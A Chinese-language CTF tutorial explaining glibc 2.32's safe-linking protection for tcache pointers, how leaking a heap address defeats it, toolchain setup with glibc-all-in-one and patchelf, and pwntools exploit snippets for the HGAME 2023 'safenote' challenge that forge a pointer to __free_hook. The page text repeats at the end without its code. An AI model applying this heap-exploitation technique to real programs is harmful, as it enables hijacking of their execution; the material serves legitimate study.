safe-linking
字数 1091 2025-08-20 18:16:58

Safe-Linking 机制分析与绕过技术

背景知识

在 glibc 2.32 之前的版本中,tcachebin 和 fastbin 的管理机制存在安全隐患:攻击者只需修改 fd (forward pointer) 域就可以将任意地址放置到链表上,威胁程度非常高。glibc 2.32 引入了 safe-linking 机制,在一定程度上缓解了这种利用方式。

Safe-Linking 机制原理

基本概念

Safe-Linking 对 next 指针进行了特殊处理:

  • 将当前 free 后进入 tcache bin 堆块的用户地址右移 12 位
  • 将该值与堆块原本正常的 next 值进行异或
  • 将异或结果写回 next 的位置

源码解析

tcache 相关结构体在 glibc 2.32 中保持不变:

typedef struct tcache_entry {
  struct tcache_entry *next;
  struct tcache_perthread_struct *key; // 用于检测 double free
} tcache_entry;

typedef struct tcache_perthread_struct {
  uint16_t counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

关键变化在 tcache_put 函数中引入了 PROTECT_PTR 宏:

static __always_inline void tcache_put(mchunkptr chunk, size_t tc_idx) {
  tcache_entry *e = (tcache_entry *) chunk2mem(chunk);
  e->key = tcache;
  e->next = PROTECT_PTR(&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

PROTECT_PTRREVEAL_PTR 宏定义:

#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)

其中:

  • pos 是指针本身的地址
  • ptr 是指针的值
  • 操作实质是指针地址右移12位异或指针的值

利用姿势

堆地址泄露

当只释放一个 chunk 到 tcache 链表中时:

  • 低版本中 fd 指针值为 0
  • Safe-Linking 机制下,fd = (指针地址>>12) ^ 0 = 指针地址>>12
  • 可以通过 fd 值反推 heap 段地址(heap 段从当前页开始,后三位固定是0)

绕过方法

要绕过检查需要获取堆的地址,然后计算正确的异或值。

更换ELF程序的glibc环境

所需工具

  1. glibc-all-in-one

    git clone https://github.com/matrix1001/glibc-all-in-one
    cd glibc-all-in-one
    ./update_list
    cat list
    ./download 2.31-0ubuntu9.9_amd64
    ./download_old 2.32-0ubuntu3_amd64
    
  2. patchelf

    git clone https://github.com/NixOS/patchelf
    cd patchelf
    ./bootstrap.sh
    ./configure
    make
    make check
    sudo make install
    

设置步骤

  1. 创建符号链接:

    sudo ln ld-2.32.so /lib64/ld-2.32.so
    
  2. 设置解释器和libc:

    patchelf --set-interpreter /lib64/ld-2.32.so ./pwn
    patchelf --replace-needed libc.so.6 ~/glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/libc-2.32.so ./pwn
    
  3. 或者在exp中直接指定:

    p=process(['ld-2.32.so',"./pwn"],env={"LD_PRELOAD":'./libc-2.32.so'})
    
  4. 调试设置:

    cp -r ~/glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/.debug ./.debug
    

    在gdb中:

    set debug-file-directory .debug/
    

实战案例:HGAME 2023 week3 safenote

题目分析

  • 环境:glibc 2.32
  • 保护:Full RELRO, Canary, NX, PIE
  • 功能:标准的堆菜单题(add/delete/edit/show)

利用思路

  1. 泄露heap地址
  2. 绕过safe-linking机制
  3. 攻击__free_hook

详细利用流程

  1. 泄露heap基地址

    for i in range(7):
        add(i,0x80)
    add(7,0x80)
    add(8,0x80)
    delete(0)
    show(0)
    heap_addr=u64(p.recv(5)[-6:].ljust(8,'\x00'))<<12
    
  2. 释放并泄露libc地址

    for i in range(1,7):
        delete(i)
    delete(7)
    edit(7,'\x11')  # 绕过'\x00'截断
    show(7)
    libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x1e3c11
    free_hook=libc_base+libc.sym['__free_hook']
    
  3. 绕过safe-linking

    pl=(heap_addr>>12)^(free_hook)
    edit(6,p64(pl))
    
  4. 获取控制权

    add(9,0x80)
    add(10,0x80)
    edit(10,p64(og))  # og为one_gadget地址
    delete(0)  # 触发
    

总结

Safe-Linking机制通过异或操作增加了堆利用的难度,但通过泄露堆地址仍然可以绕过。关键点在于:

  1. 理解Safe-Linking的异或原理
  2. 能够泄露堆地址
  3. 正确计算绕过保护所需的异或值
  4. 在glibc 2.32+环境下正确设置调试环境
Safe-Linking 机制分析与绕过技术 背景知识 在 glibc 2.32 之前的版本中,tcachebin 和 fastbin 的管理机制存在安全隐患:攻击者只需修改 fd (forward pointer) 域就可以将任意地址放置到链表上,威胁程度非常高。glibc 2.32 引入了 safe-linking 机制,在一定程度上缓解了这种利用方式。 Safe-Linking 机制原理 基本概念 Safe-Linking 对 next 指针进行了特殊处理: 将当前 free 后进入 tcache bin 堆块的用户地址右移 12 位 将该值与堆块原本正常的 next 值进行异或 将异或结果写回 next 的位置 源码解析 tcache 相关结构体在 glibc 2.32 中保持不变: 关键变化在 tcache_put 函数中引入了 PROTECT_PTR 宏: PROTECT_PTR 和 REVEAL_PTR 宏定义: 其中: pos 是指针本身的地址 ptr 是指针的值 操作实质是指针地址右移12位异或指针的值 利用姿势 堆地址泄露 当只释放一个 chunk 到 tcache 链表中时: 低版本中 fd 指针值为 0 Safe-Linking 机制下,fd = (指针地址>>12) ^ 0 = 指针地址>>12 可以通过 fd 值反推 heap 段地址(heap 段从当前页开始,后三位固定是0) 绕过方法 要绕过检查需要获取堆的地址,然后计算正确的异或值。 更换ELF程序的glibc环境 所需工具 glibc-all-in-one patchelf 设置步骤 创建符号链接: 设置解释器和libc: 或者在exp中直接指定: 调试设置: 在gdb中: 实战案例:HGAME 2023 week3 safenote 题目分析 环境:glibc 2.32 保护:Full RELRO, Canary, NX, PIE 功能:标准的堆菜单题(add/delete/edit/show) 利用思路 泄露heap地址 绕过safe-linking机制 攻击 __free_hook 详细利用流程 泄露heap基地址 : 释放并泄露libc地址 : 绕过safe-linking : 获取控制权 : 总结 Safe-Linking机制通过异或操作增加了堆利用的难度,但通过泄露堆地址仍然可以绕过。关键点在于: 理解Safe-Linking的异或原理 能够泄露堆地址 正确计算绕过保护所需的异或值 在glibc 2.32+环境下正确设置调试环境